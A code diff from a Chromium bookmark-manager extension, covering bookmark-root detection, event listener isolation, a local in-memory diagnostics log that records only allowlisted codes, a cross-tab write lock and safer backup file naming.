* Other and Mobile beside this device's, and the old by-id-then-by-position
|
||||
* rule mixed the two sets up. This device's roots are the destinations;
|
||||
* account roots are never written to or emptied. The ids "1"/"2"/"3" and then
|
||||
* position remain as fallbacks for a browser without `folderType`. Nodes
|
||||
* carrying `unmodifiable` (the enterprise "Managed bookmarks" folder) are
|
||||
* excluded everywhere — writing to or removing them rejects.
|
||||
*/
|
||||
export async function getRoots(): Promise<BookmarkRoots> {
|
||||
const children = await getRootChildren();
|
||||
const writable = children.filter((node) => node.unmodifiable === undefined);
|
||||
const local = writable.filter((node) => node.syncing !== true);
|
||||
const typed = local.some((node) => node.folderType !== undefined);
|
||||
|
||||
const byId = (id: string): LiveNode | undefined => writable.find((node) => node.id === id);
|
||||
const toolbar = byId('1') ?? writable[0];
|
||||
const other = byId('2') ?? writable.find((node) => node !== toolbar);
|
||||
const mobile = byId('3') ?? writable.find((node) => node !== toolbar && node !== other);
|
||||
const pick = (type: keyof typeof FOLDER_IDS): LiveNode | undefined =>
|
||||
local.find((node) => node.folderType === type) ??
|
||||
local.find((node) => node.id === FOLDER_IDS[type]);
|
||||
const toolbar = pick('bookmarks-bar') ?? (typed ? undefined : local[0]);
|
||||
const other = pick('other') ?? (typed ? undefined : local.find((n) => n !== toolbar));
|
||||
const mobile =
|
||||
pick('mobile') ??
|
||||
(typed ? undefined : local.find((n) => n !== toolbar && n !== other)) ??
|
||||
(await hiddenMobileRoot());
|
||||
|
||||
if (toolbar === undefined || other === undefined) {
|
||||
// Not a BmBrowserError: nothing refused anything. Every root this profile
|
||||
@@ -80,7 +132,12 @@ export async function getRoots(): Promise<BookmarkRoots> {
|
||||
toolbarId: toolbar.id,
|
||||
otherId: other.id,
|
||||
mobileId: mobile?.id,
|
||||
toolbar,
|
||||
other,
|
||||
mobile,
|
||||
writable,
|
||||
replaceable: mobile === undefined ? [toolbar, other] : [toolbar, other, mobile],
|
||||
all: children,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -93,6 +150,28 @@ export interface ToNodesOptions {
|
||||
* `03 §1` routes purely on that flag.
|
||||
*/
|
||||
toolbarId?: string;
|
||||
/**
|
||||
* Ids of Other and Mobile Bookmarks, marked `root: 'other'`/`'mobile'` for
|
||||
* the same reason: without them a restore nested both one level too deep.
|
||||
*/
|
||||
otherId?: string;
|
||||
mobileId?: string;
|
||||
}
|
||||
|
||||
/** The marker ids for a whole-tree conversion — what an export or backup passes. */
|
||||
export function rootMarkersOf(roots: BookmarkRoots): ToNodesOptions {
|
||||
return {
|
||||
toolbarId: roots.toolbarId,
|
||||
otherId: roots.otherId,
|
||||
...(roots.mobileId !== undefined && { mobileId: roots.mobileId }),
|
||||
};
|
||||
}
|
||||
|
||||
function markerOf(id: string, options: ToNodesOptions): Pick<BookmarkNode, 'toolbar' | 'root'> {
|
||||
if (id === options.toolbarId) return { toolbar: true };
|
||||
if (id === options.otherId) return { root: 'other' };
|
||||
if (id === options.mobileId) return { root: 'mobile' };
|
||||
return {};
|
||||
}
|
||||
|
||||
/** Convert the live tree into the pure file model (ms → s, ids dropped). */
|
||||
@@ -108,10 +187,10 @@ export function toBookmarkNodes(
|
||||
const lastModified = isFolderNode ? millisToSeconds(node.dateGroupModified) : undefined;
|
||||
return {
|
||||
title: node.title,
|
||||
...(!isFolderNode && { url: node.url as string }),
|
||||
...(node.url !== undefined && { url: node.url }),
|
||||
...(addDate !== undefined && { addDate }),
|
||||
...(lastModified !== undefined && { lastModified }),
|
||||
...(options.toolbarId !== undefined && node.id === options.toolbarId && { toolbar: true }),
|
||||
...(isFolderNode && markerOf(node.id, options)),
|
||||
...(isFolderNode && { children: toBookmarkNodes(node.children ?? [], options) }),
|
||||
};
|
||||
});
|
||||
@@ -126,6 +205,13 @@ export function flattenLive(nodes: readonly LiveNode[], into: LiveNode[] = []):
|
||||
return into;
|
||||
}
|
||||
|
||||
/** The current children of one folder — what a bulk command re-plans from. */
|
||||
export async function getChildren(id: string): Promise<LiveNode[]> {
|
||||
return (await guard('bookmarks.getChildren', () =>
|
||||
browser.bookmarks.getChildren(id),
|
||||
)) as LiveNode[];
|
||||
}
|
||||
|
||||
export async function create(details: {
|
||||
parentId: string;
|
||||
title: string;
|
||||
@@ -162,6 +248,11 @@ export interface BookmarkEvents {
|
||||
onRemoved: (id: string) => void;
|
||||
onChanged: (id: string, changes: { title?: string; url?: string }) => void;
|
||||
onMoved: (id: string, info: { parentId: string; index: number }) => void;
|
||||
/** A folder's children were reordered wholesale (Chrome's own "Sort by name"). */
|
||||
onChildrenReordered?: (id: string) => void;
|
||||
/** Chrome's own importer is running; it sends no per-node events meanwhile. */
|
||||
onImportBegan?: () => void;
|
||||
onImportEnded?: () => void;
|
||||
}
|
||||
|
||||
type Listenable<T extends unknown[]> = {
|
||||
@@ -172,41 +263,44 @@ type Listenable<T extends unknown[]> = {
|
||||
/**
|
||||
* Subscribe to bookmark changes; returns an unsubscribe function.
|
||||
*
|
||||
* Listeners attach on tab enter and detach on leave (docs/03 §3) — an #edit
|
||||
* tab left subscribed while an import runs would otherwise take one event per
|
||||
* created node.
|
||||
* Listeners attach on tab enter and detach on leave (docs/03 §3). Each handler
|
||||
* is isolated: an exception in one used to escape into Chrome's event
|
||||
* dispatch, and the tree silently stopped following the browser.
|
||||
*/
|
||||
export function subscribe(handlers: BookmarkEvents): () => void {
|
||||
const api = browser.bookmarks as unknown as {
|
||||
onCreated: Listenable<[string, LiveNode]>;
|
||||
onRemoved: Listenable<[string, unknown]>;
|
||||
onChanged: Listenable<[string, { title?: string; url?: string }]>;
|
||||
onMoved: Listenable<[string, { parentId: string; index: number }]>;
|
||||
};
|
||||
export function subscribe(
|
||||
handlers: BookmarkEvents,
|
||||
onError?: (error: unknown) => void,
|
||||
): () => void {
|
||||
// SAFETY: every name looked up below is a `chrome.bookmarks` event object;
|
||||
// the record type only erases their argument lists so one loop wires them.
|
||||
const api = browser.bookmarks as unknown as Record<string, Listenable<unknown[]> | undefined>;
|
||||
const safe =
|
||||
<T extends unknown[]>(fn: ((...args: T) => void) | undefined) =>
|
||||
(...args: T): void => {
|
||||
try {
|
||||
fn?.(...args);
|
||||
} catch (error) {
|
||||
onError?.(error);
|
||||
}
|
||||
};
|
||||
|
||||
const onCreated = (id: string, node: LiveNode): void => {
|
||||
handlers.onCreated(id, node);
|
||||
};
|
||||
const onRemoved = (id: string): void => {
|
||||
handlers.onRemoved(id);
|
||||
};
|
||||
const onChanged = (id: string, changes: { title?: string; url?: string }): void => {
|
||||
handlers.onChanged(id, changes);
|
||||
};
|
||||
const onMoved = (id: string, info: { parentId: string; index: number }): void => {
|
||||
handlers.onMoved(id, info);
|
||||
};
|
||||
|
||||
api.onCreated.addListener(onCreated);
|
||||
api.onRemoved.addListener(onRemoved);
|
||||
api.onChanged.addListener(onChanged);
|
||||
api.onMoved.addListener(onMoved);
|
||||
const wired: [string, (...args: never[]) => void][] = [
|
||||
['onCreated', safe(handlers.onCreated)],
|
||||
['onRemoved', safe(handlers.onRemoved)],
|
||||
['onChanged', safe(handlers.onChanged)],
|
||||
['onMoved', safe(handlers.onMoved)],
|
||||
['onChildrenReordered', safe(handlers.onChildrenReordered)],
|
||||
['onImportBegan', safe(handlers.onImportBegan)],
|
||||
['onImportEnded', safe(handlers.onImportEnded)],
|
||||
];
|
||||
// Not every Chromium build has every event (Firefox lacks the import pair).
|
||||
// SAFETY: each listener is registered on the event whose arguments it was
|
||||
// typed for in `BookmarkEvents`; the cast only matches the erased record.
|
||||
const erased = wired as unknown as [string, (...args: unknown[]) => void][];
|
||||
for (const [name, fn] of erased) api[name]?.addListener(fn);
|
||||
|
||||
return () => {
|
||||
api.onCreated.removeListener(onCreated);
|
||||
api.onRemoved.removeListener(onRemoved);
|
||||
api.onChanged.removeListener(onChanged);
|
||||
api.onMoved.removeListener(onMoved);
|
||||
for (const [name, fn] of erased) api[name]?.removeListener(fn);
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -20,12 +20,30 @@
|
||||
* Lives in `browser/` because that is where the error taxonomy lives;
|
||||
* `browser/` may import `core/`, not the reverse (docs/02 §3).
|
||||
*/
|
||||
import { BmParseError } from '../core/model';
|
||||
import { BmBackupError, BmBrowserError, BmEnvError, BmPartialWrite } from './errors';
|
||||
import { BmParseError, type BmParseErrorCode } from '../core/model';
|
||||
import { errorName, record } from './diagnostics';
|
||||
import {
|
||||
BmBackupError,
|
||||
type BmBackupErrorCode,
|
||||
BmBrowserError,
|
||||
type BmEnvCode,
|
||||
BmEnvError,
|
||||
BmPartialWrite,
|
||||
} from './errors';
|
||||
|
||||
/** Every key `describeError` can return — and so every code the diagnostics log can hold. */
|
||||
export type ErrorKey = `errors.${
|
||||
| BmParseErrorCode
|
||||
| BmBackupErrorCode
|
||||
| BmEnvCode
|
||||
| 'PARTIAL_CLEAR'
|
||||
| 'PARTIAL_WRITE'
|
||||
| 'BROWSER'
|
||||
| 'UNKNOWN'}`;
|
||||
|
||||
export interface DescribedError {
|
||||
/** Dotted i18n path, e.g. `errors.TOO_DEEP`. */
|
||||
messageKey: string;
|
||||
messageKey: ErrorKey;
|
||||
/** Raw, untranslated technical text for the copyable detail block. */
|
||||
detail?: string | undefined;
|
||||
/** Nodes written before a partial failure, when the failure knows. */
|
||||
@@ -35,6 +53,14 @@ export interface DescribedError {
|
||||
}
|
||||
|
||||
export function describeError(err: unknown): DescribedError {
|
||||
const described = describe(err);
|
||||
// Every failure the UI shows passes through here, so this is where the
|
||||
// diagnostics log learns of it — by code, never by its detail text.
|
||||
record({ kind: 'failure', where: errorName(err), code: described.messageKey });
|
||||
return described;
|
||||
}
|
||||
|
||||
function describe(err: unknown): DescribedError {
|
||||
if (err instanceof BmParseError) {
|
||||
return { messageKey: `errors.${err.code}`, detail: err.detail };
|
||||
}
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
/**
|
||||
* Local-only diagnostics — docs/09 §7, legal/PRIVACY.md.
|
||||
*
|
||||
* Purpose: when something goes wrong, a bug report needs more than "it failed"
|
||||
* — which phase, which error code, in what order. This is a small ring
|
||||
* buffer the user can copy from About → "Copy diagnostics" and paste into an
|
||||
* issue themselves.
|
||||
* Guarantees: in memory only, never written to storage, never sent anywhere
|
||||
* (there is no network). Entries are an allowlist of codes, counts and
|
||||
* phase names, and the TYPES enforce it: every string field is a union of
|
||||
* fixed values, so a title, an address or a file path does not compile —
|
||||
* 1.1.0's first cut typed them all `string` and only promised it (v1.1.0
|
||||
* review). Free-text `detail` strings from the browser are never recorded;
|
||||
* they can quote a URL.
|
||||
*/
|
||||
import type { FileFormat, MergeMode } from '../core/model';
|
||||
import type { ErrorKey } from './describe-error';
|
||||
|
||||
/** The import pipeline's milestones (`import/run-import.ts`). */
|
||||
type ImportPhase = 'parsed' | `planned:${MergeMode}` | 'backup-proven' | 'cleared' | 'written';
|
||||
type EditAction = 'keep-first' | 'sort';
|
||||
type StorageIssue = 'settings-read-failed' | 'legal-read-failed' | 'change-decode-failed';
|
||||
|
||||
/**
|
||||
* Error names worth telling apart. Any other is recorded as `'other'`: a
|
||||
* name is an ordinary string property, and nothing stops code from putting
|
||||
* data in it.
|
||||
*/
|
||||
const KNOWN_ERROR_NAMES = [
|
||||
'Error',
|
||||
'TypeError',
|
||||
'RangeError',
|
||||
'SyntaxError',
|
||||
'ReferenceError',
|
||||
'URIError',
|
||||
'AggregateError',
|
||||
'AbortError',
|
||||
'NotAllowedError',
|
||||
'NotFoundError',
|
||||
'SecurityError',
|
||||
'QuotaExceededError',
|
||||
'InvalidStateError',
|
||||
'DataCloneError',
|
||||
'BmParseError',
|
||||
'BmBackupError',
|
||||
'BmBrowserError',
|
||||
'BmEnvError',
|
||||
'BmPartialWrite',
|
||||
'BmAborted',
|
||||
] as const;
|
||||
const KNOWN: ReadonlySet<string> = new Set(KNOWN_ERROR_NAMES);
|
||||
|
||||
/** An allowlisted error name, `'other'`, or — for a non-Error throw — its `typeof`. */
|
||||
export type ErrorName =
|
||||
| (typeof KNOWN_ERROR_NAMES)[number]
|
||||
| 'other'
|
||||
| 'string'
|
||||
| 'number'
|
||||
| 'bigint'
|
||||
| 'boolean'
|
||||
| 'symbol'
|
||||
| 'undefined'
|
||||
| 'object'
|
||||
| 'function';
|
||||
|
||||
function isKnownName(name: string): name is (typeof KNOWN_ERROR_NAMES)[number] {
|
||||
return KNOWN.has(name);
|
||||
}
|
||||
|
||||
/** What a thrown value is called in the log — never its message. */
|
||||
export function errorName(err: unknown): ErrorName {
|
||||
if (err instanceof Error) return isKnownName(err.name) ? err.name : 'other';
|
||||
return typeof err;
|
||||
}
|
||||
|
||||
/** What may be recorded — nothing else type-checks. */
|
||||
export type DiagEvent =
|
||||
| { kind: 'import'; phase: ImportPhase; format?: FileFormat; nodes?: number }
|
||||
| { kind: 'failure'; where: ErrorName; code: ErrorKey }
|
||||
| { kind: 'edit'; action: EditAction; count?: number }
|
||||
| { kind: 'storage'; issue: StorageIssue }
|
||||
| { kind: 'crash'; name: ErrorName };
|
||||
|
||||
interface Entry {
|
||||
/** Milliseconds since the page loaded — no wall-clock time is kept. */
|
||||
t: number;
|
||||
event: DiagEvent;
|
||||
}
|
||||
|
||||
const CAPACITY = 200;
|
||||
const entries: Entry[] = [];
|
||||
|
||||
/** Record one event; the oldest drops off past 200. Never throws. */
|
||||
export function record(event: DiagEvent): void {
|
||||
entries.push({ t: Math.round(globalThis.performance?.now() ?? 0), event });
|
||||
if (entries.length > CAPACITY) entries.shift();
|
||||
}
|
||||
|
||||
export interface DiagnosticsContext {
|
||||
version: string;
|
||||
locale: string;
|
||||
theme: string;
|
||||
}
|
||||
|
||||
/** The report the About tab copies: context first, then the events, oldest first. */
|
||||
export function snapshot(context: DiagnosticsContext): string {
|
||||
const chrome = /Chrome\/(\d+)/.exec(globalThis.navigator?.userAgent ?? '')?.[1] ?? 'unknown';
|
||||
return JSON.stringify(
|
||||
{ app: 'BookmarkMagic', ...context, chromeMajor: chrome, events: entries },
|
||||
null,
|
||||
2,
|
||||
);
|
||||
}
|
||||
|
||||
/** Test teardown — module state outlives a single `it()`. */
|
||||
export function clearDiagnostics(): void {
|
||||
entries.length = 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Record uncaught errors and unhandled rejections — by NAME only: a message
|
||||
* can quote whatever the code was looking at. Returns a teardown.
|
||||
*/
|
||||
export function installCrashHooks(
|
||||
target: Pick<Window, 'addEventListener' | 'removeEventListener'>,
|
||||
): () => void {
|
||||
const onError = (event: ErrorEvent): void => {
|
||||
record({ kind: 'crash', name: event.error === undefined ? 'Error' : errorName(event.error) });
|
||||
};
|
||||
const onRejection = (event: PromiseRejectionEvent): void => {
|
||||
record({ kind: 'crash', name: errorName(event.reason) });
|
||||
};
|
||||
target.addEventListener('error', onError);
|
||||
target.addEventListener('unhandledrejection', onRejection);
|
||||
return () => {
|
||||
target.removeEventListener('error', onError);
|
||||
target.removeEventListener('unhandledrejection', onRejection);
|
||||
};
|
||||
}
|
||||
@@ -46,7 +46,11 @@ interface FileSystemWritable {
|
||||
close: () => Promise<void>;
|
||||
}
|
||||
interface FileSystemHandle {
|
||||
/** The name the user saved under — they may have changed the suggested one. */
|
||||
name?: string;
|
||||
createWritable: () => Promise<FileSystemWritable>;
|
||||
/** Chrome's `FileSystemHandle.remove()`: deletes a file we picked but never wrote. */
|
||||
remove?: () => Promise<void>;
|
||||
}
|
||||
type SaveFilePicker = (options: {
|
||||
suggestedName?: string;
|
||||
@@ -69,7 +73,12 @@ export type SaveTarget = FileSystemHandle;
|
||||
*
|
||||
* @throws {BmBackupError} `BACKUP_CANCELLED` when the dialog is dismissed.
|
||||
*/
|
||||
export async function openSaveTarget(filename: string, mimeType: string): Promise<SaveTarget> {
|
||||
export async function openSaveTarget(
|
||||
filename: string,
|
||||
mimeType: string,
|
||||
/** The file-type label the dialog shows, localized by the caller (it was hardcoded English). */
|
||||
description: string,
|
||||
): Promise<SaveTarget> {
|
||||
const picker = (globalThis as { showSaveFilePicker?: SaveFilePicker }).showSaveFilePicker;
|
||||
if (picker === undefined) {
|
||||
throw new BmBackupError('BACKUP_WRITE_FAILED', 'showSaveFilePicker unavailable');
|
||||
@@ -78,9 +87,7 @@ export async function openSaveTarget(filename: string, mimeType: string): Promis
|
||||
try {
|
||||
return await picker({
|
||||
suggestedName: sanitizeFilename(filename),
|
||||
types: [
|
||||
{ description: 'Bookmark backup', accept: { [mimeType]: [`.${extensionOf(filename)}`] } },
|
||||
],
|
||||
types: [{ description, accept: { [mimeType]: [`.${extensionOf(filename)}`] } }],
|
||||
});
|
||||
} catch (cause) {
|
||||
if (cause instanceof Error && cause.name === 'AbortError') {
|
||||
@@ -112,8 +119,27 @@ function extensionOf(filename: string): string {
|
||||
return dot === -1 ? 'json' : filename.slice(dot + 1);
|
||||
}
|
||||
|
||||
/** `bookmarks-<scope>-YYYYMMDD-HHmm.<ext>` / backup name — docs/04 §5. */
|
||||
/** `bookmarks-<scope>-YYYYMMDD-HHmm.<ext>` — docs/04 §5. */
|
||||
export function timestampSuffix(now: Date): string {
|
||||
const pad = (n: number): string => String(n).padStart(2, '0');
|
||||
return `${now.getFullYear()}${pad(now.getMonth() + 1)}${pad(now.getDate())}-${pad(now.getHours())}${pad(now.getMinutes())}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* The safety backup's suggested name, to the SECOND. To the minute, a retry
|
||||
* after a failed Replace suggested the same name, and accepting "replace the
|
||||
* existing file?" overwrote the complete backup with the half-deleted tree.
|
||||
*/
|
||||
export function backupFilename(now: Date): string {
|
||||
const seconds = String(now.getSeconds()).padStart(2, '0');
|
||||
return `bookmarkmagic-backup-${timestampSuffix(now)}${seconds}.json`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Best-effort removal of a file the user picked in the save dialog but that
|
||||
* never received the backup (the import stopped before writing it). Leaves
|
||||
* nothing behind, and never throws.
|
||||
*/
|
||||
export function discardTarget(pending: Promise<SaveTarget> | undefined): void {
|
||||
void pending?.then((target) => target.remove?.()).catch(() => undefined);
|
||||
}
|
||||
@@ -16,10 +16,16 @@ export class BmAborted extends Error {
|
||||
}
|
||||
}
|
||||
|
||||
export type BmBackupErrorCode =
|
||||
| 'BACKUP_SERIALIZE_FAILED'
|
||||
| 'BACKUP_CANCELLED'
|
||||
| 'BACKUP_WRITE_FAILED';
|
||||
/** A runtime list, so `dictionaries.test.ts` can require a message for each. */
|
||||
export const BM_BACKUP_ERROR_CODES = [
|
||||
'BACKUP_SERIALIZE_FAILED',
|
||||
'BACKUP_EXCEEDS_LIMITS',
|
||||
'BACKUP_STALE',
|
||||
'BACKUP_CANCELLED',
|
||||
'BACKUP_WRITE_FAILED',
|
||||
] as const;
|
||||
|
||||
export type BmBackupErrorCode = (typeof BM_BACKUP_ERROR_CODES)[number];
|
||||
|
||||
/**
|
||||
* Thrown when the forced safety backup could not be produced or proven
|
||||
@@ -47,7 +53,10 @@ export class BmBrowserError extends Error {
|
||||
}
|
||||
}
|
||||
|
||||
export type BmEnvCode = 'NO_WRITABLE_ROOTS';
|
||||
/** A runtime list, so `dictionaries.test.ts` can require a message for each. */
|
||||
export const BM_ENV_ERROR_CODES = ['NO_WRITABLE_ROOTS', 'WRITE_LOCKED'] as const;
|
||||
|
||||
export type BmEnvCode = (typeof BM_ENV_ERROR_CODES)[number];
|
||||
|
||||
/**
|
||||
* Thrown when the environment cannot support the operation at all.
|
||||
|
||||
@@ -20,18 +20,79 @@ interface ManagerContext {
|
||||
windowId?: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* The channel an open Manager listens on for "go to this route". Same-origin
|
||||
* and in-browser only: no permission, no network.
|
||||
*/
|
||||
export const MANAGER_CHANNEL = 'bookmarkmagic-manager';
|
||||
|
||||
interface NavigateMessage {
|
||||
kind: 'navigate';
|
||||
route: ManagerRoute;
|
||||
/** The Manager tab the popup is about to focus; every other one ignores it. */
|
||||
tabId?: number;
|
||||
}
|
||||
|
||||
const ROUTES: ReadonlySet<string> = new Set(['#import', '#export', '#edit', '#settings', '#about']);
|
||||
|
||||
function isNavigateMessage(data: unknown): data is NavigateMessage {
|
||||
if (typeof data !== 'object' || data === null) return false;
|
||||
// SAFETY: a non-null object, and every field read is checked below.
|
||||
const { kind, route, tabId } = data as Record<string, unknown>;
|
||||
return (
|
||||
kind === 'navigate' &&
|
||||
typeof route === 'string' &&
|
||||
ROUTES.has(route) &&
|
||||
(tabId === undefined || typeof tabId === 'number')
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* In the Manager: act on the popup's "go to this route". A message addressed
|
||||
* to another Manager tab is ignored — with two open, the popup's choice used to
|
||||
* switch every one of them, not just the one it focused (v1.1.0 review).
|
||||
* `tabs.getCurrent` needs no permission and is not used for anything else.
|
||||
*
|
||||
* @returns the unsubscribe.
|
||||
*/
|
||||
export function onNavigateRequest(handle: (route: ManagerRoute) => void): () => void {
|
||||
const channel = new BroadcastChannel(MANAGER_CHANNEL);
|
||||
const own = browser.tabs
|
||||
.getCurrent()
|
||||
.then((tab) => tab?.id)
|
||||
.catch(() => undefined);
|
||||
channel.onmessage = (event: MessageEvent<unknown>) => {
|
||||
const data = event.data;
|
||||
if (!isNavigateMessage(data)) return;
|
||||
void own.then((tabId) => {
|
||||
// Unknown on either side → the 1.1.0-first-cut behaviour: everyone moves.
|
||||
if (data.tabId !== undefined && tabId !== undefined && data.tabId !== tabId) return;
|
||||
handle(data.route);
|
||||
});
|
||||
};
|
||||
return () => channel.close();
|
||||
}
|
||||
|
||||
/**
|
||||
* Focus an existing Manager tab or open a new one at `route`.
|
||||
*
|
||||
* Note the asymmetry: a NEW tab lands on the requested route, but an existing
|
||||
* tab is only focused — its hash is left alone rather than forced, so an
|
||||
* in-progress import is never navigated away from (docs/03 §5).
|
||||
* An existing tab is asked — not forced — to switch route over a
|
||||
* BroadcastChannel; it refuses while an import is writing (docs/03 §5). 1.0.x
|
||||
* only focused it, so the popup's "Export" landed wherever the tab had been.
|
||||
*/
|
||||
export async function openManager(route: ManagerRoute = '#import'): Promise<void> {
|
||||
const managerUrl = browser.runtime.getURL(MANAGER_PAGE);
|
||||
const existing = await findManagerContext(managerUrl);
|
||||
|
||||
if (existing?.tabId !== undefined) {
|
||||
// Posted before focusing: the popup closes as soon as the tab takes focus.
|
||||
const channel = new BroadcastChannel(MANAGER_CHANNEL);
|
||||
channel.postMessage({
|
||||
kind: 'navigate',
|
||||
route,
|
||||
tabId: existing.tabId,
|
||||
} satisfies NavigateMessage);
|
||||
channel.close();
|
||||
await browser.tabs.update(existing.tabId, { active: true });
|
||||
if (existing.windowId !== undefined) {
|
||||
await browser.windows.update(existing.windowId, { focused: true });
|
||||
@@ -43,7 +104,7 @@ export async function openManager(route: ManagerRoute = '#import'): Promise<void
|
||||
}
|
||||
|
||||
async function findManagerContext(managerUrl: string): Promise<ManagerContext | undefined> {
|
||||
// getContexts is Chrome 116+; our floor is 120. Guard anyway so a future
|
||||
// getContexts is Chrome 116+; our floor is 136. Guard anyway so a future
|
||||
// Firefox target degrades to "always open a new tab" rather than throwing.
|
||||
const getContexts = (
|
||||
browser.runtime as {
|
||||
|
||||
@@ -8,9 +8,10 @@
|
||||
* defaults, because a corrupt settings blob must not brick the Manager.
|
||||
*/
|
||||
import { browser } from 'wxt/browser';
|
||||
import type { CsvDelimiter } from '../core/serialize/csv';
|
||||
import type { CsvDelimiter } from '../core/csv-dialect';
|
||||
import type { MarkdownStyle } from '../core/serialize/markdown';
|
||||
import type { Locale } from '../i18n/resolve-locale';
|
||||
import { record } from './diagnostics';
|
||||
|
||||
export type ThemePreference = 'system' | 'light' | 'dark';
|
||||
export type ExportFormat = 'netscape-html' | 'bm-json' | 'csv' | 'markdown';
|
||||
@@ -73,6 +74,7 @@ export async function readSettings(): Promise<Settings> {
|
||||
const stored = await browser.storage.local.get(SETTINGS_KEY);
|
||||
return coerceSettings(stored[SETTINGS_KEY]);
|
||||
} catch {
|
||||
record({ kind: 'storage', issue: 'settings-read-failed' });
|
||||
return { ...DEFAULT_SETTINGS };
|
||||
}
|
||||
}
|
||||
@@ -97,6 +99,7 @@ export async function readLegal(): Promise<LegalAcceptance | null> {
|
||||
const stored = await browser.storage.local.get(LEGAL_KEY);
|
||||
return coerceLegal(stored[LEGAL_KEY]);
|
||||
} catch {
|
||||
record({ kind: 'storage', issue: 'legal-read-failed' });
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -142,6 +145,7 @@ export function subscribeStorage(handler: (change: StorageChange) => void): () =
|
||||
if (LEGAL_KEY in changes) change.legal = coerceLegal(changes[LEGAL_KEY]?.newValue);
|
||||
if (change.settings !== undefined || 'legal' in change) handler(change);
|
||||
} catch {
|
||||
record({ kind: 'storage', issue: 'change-decode-failed' });
|
||||
// A throw inside a chrome.* listener surfaces as an extension error in
|
||||
// chrome://extensions, which the QA pass treats as a failure. Nothing
|
||||
// here is worth that: the next read will pick up the same value.
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
/**
|
||||
* One writer at a time, across every Manager tab — docs/03 §5.
|
||||
*
|
||||
* Purpose: two tabs replacing at once would each back up, then delete what the
|
||||
* other was writing; a sort racing an import reorders a folder mid-write.
|
||||
* Inputs: the bulk operation to run.
|
||||
* Guarantees: uses the Web Locks API (in-browser, same-origin, no permission).
|
||||
* The lock is taken only if it is free — a second writer is refused at once
|
||||
* with `BmEnvError('WRITE_LOCKED')`, never queued behind a write the user
|
||||
* cannot see. Where the API is missing (tests), the operation simply runs.
|
||||
*/
|
||||
import { BmEnvError } from './errors';
|
||||
|
||||
const LOCK_NAME = 'bookmarkmagic-write';
|
||||
|
||||
interface LockManagerLike {
|
||||
request: <T>(
|
||||
name: string,
|
||||
options: { ifAvailable: boolean },
|
||||
run: (lock: unknown) => Promise<T>,
|
||||
) => Promise<T>;
|
||||
}
|
||||
|
||||
/** @throws {BmEnvError} `WRITE_LOCKED` when another tab holds the lock. */
|
||||
export async function withWriteLock<T>(run: () => Promise<T>): Promise<T> {
|
||||
const locks = (globalThis.navigator as { locks?: LockManagerLike } | undefined)?.locks;
|
||||
if (locks === undefined) return run();
|
||||
return locks.request(LOCK_NAME, { ifAvailable: true }, async (lock) => {
|
||||
if (lock === null) {
|
||||
throw new BmEnvError('WRITE_LOCKED', 'another BookmarkMagic tab is writing bookmarks');
|
||||
}
|
||||
return run();
|
||||
});
|
||||
}
|
||||
@@ -2,7 +2,8 @@
|
||||
* Sequential tree writer — docs/05 §6.
|
||||
*
|
||||
* Purpose: create an `ImportPlan`'s nodes in order, with live progress and a
|
||||
* working cancel button.
|
||||
* working cancel button. A segment's parent is a root or, in Merge, a folder
|
||||
* the user already has; either way it exists before the first create.
|
||||
* Inputs: a plan, an AbortSignal, a progress callback.
|
||||
* Guarantees: parents before children, siblings in order, one `done` counter
|
||||
* across all segments, and an abort that stops before the next create.
|
||||
@@ -14,7 +15,7 @@ import type { BookmarkNode, ImportPlan } from '../core/model';
|
||||
import { create as createNode, type LiveNode } from './bookmarks';
|
||||
import { BmAborted, BmPartialWrite } from './errors';
|
||||
|
||||
/** Emitted every PROGRESS_EVERY creates and once at the end. */
|
||||
/** Emitted after the first create, every PROGRESS_EVERY creates, and once at the end. */
|
||||
export interface WriteProgress {
|
||||
done: number;
|
||||
total: number;
|
||||
@@ -101,7 +102,9 @@ export async function writeTree(
|
||||
|
||||
done++;
|
||||
sinceYield++;
|
||||
if (done % PROGRESS_EVERY === 0 || done === total) report(trail.join(' / '));
|
||||
// The first create reports too: on a slow profile, 50 creates can take
|
||||
// seconds, and a bar stuck at 0% reads as a hang (uL9).
|
||||
if (done === 1 || done % PROGRESS_EVERY === 0 || done === total) report(trail.join(' / '));
|
||||
if (sinceYield >= YIELD_EVERY) {
|
||||
sinceYield = 0;
|
||||
await yieldToEventLoop();
|
||||
@@ -114,7 +117,7 @@ export async function writeTree(
|
||||
};
|
||||
|
||||
for (const segment of plan.segments) {
|
||||
await dfs(segment.nodes, segment.rootId, []);
|
||||
await dfs(segment.nodes, segment.parentId, segment.trail ?? []);
|
||||
}
|
||||
|
||||
// Guarantee a final event even when the total was not a multiple of 50 and
|
||||
|
||||
@@ -2,7 +2,13 @@
|
||||
import { getAppVersion } from '../browser/app-info';
|
||||
import { dateTime, t } from '../i18n/index.svelte';
|
||||
import { CHANGELOG_URL, DONATE_LINKS, ISSUES_URL, LEGAL_URLS, REPO_URL, STORE_URL } from '../links';
|
||||
import { copyToClipboard } from '../browser/clipboard';
|
||||
import { snapshot } from '../browser/diagnostics';
|
||||
import { getAcceptance } from '../stores/legal.svelte';
|
||||
import { getSettings } from '../stores/settings.svelte';
|
||||
import { pushToast } from '../stores/toast.svelte';
|
||||
import Button from './Button.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
const version = getAppVersion();
|
||||
const acceptance = $derived(getAcceptance());
|
||||
@@ -11,6 +17,14 @@
|
||||
const acceptedOn = $derived(
|
||||
acceptance === undefined ? undefined : dateTime(acceptance.acceptedAt),
|
||||
);
|
||||
|
||||
/** Write-only, on an explicit click (docs/09 T8): the user pastes it into an issue. */
|
||||
async function copyDiagnostics(): Promise<void> {
|
||||
const settings = getSettings();
|
||||
const report = snapshot({ version, locale: settings.locale, theme: settings.theme });
|
||||
const copied = await copyToClipboard(report);
|
||||
pushToast(t(copied ? 'about.diagnosticsCopied' : 'about.diagnosticsCopyFailed'), copied ? 'success' : 'danger');
|
||||
}
|
||||
</script>
|
||||
|
||||
<section aria-label={t('common.about')}>
|
||||
@@ -18,40 +32,40 @@
|
||||
<img src="/icon/48.png" alt="" width="48" height="48" />
|
||||
<div>
|
||||
<strong>{t('common.appName')}</strong>
|
||||
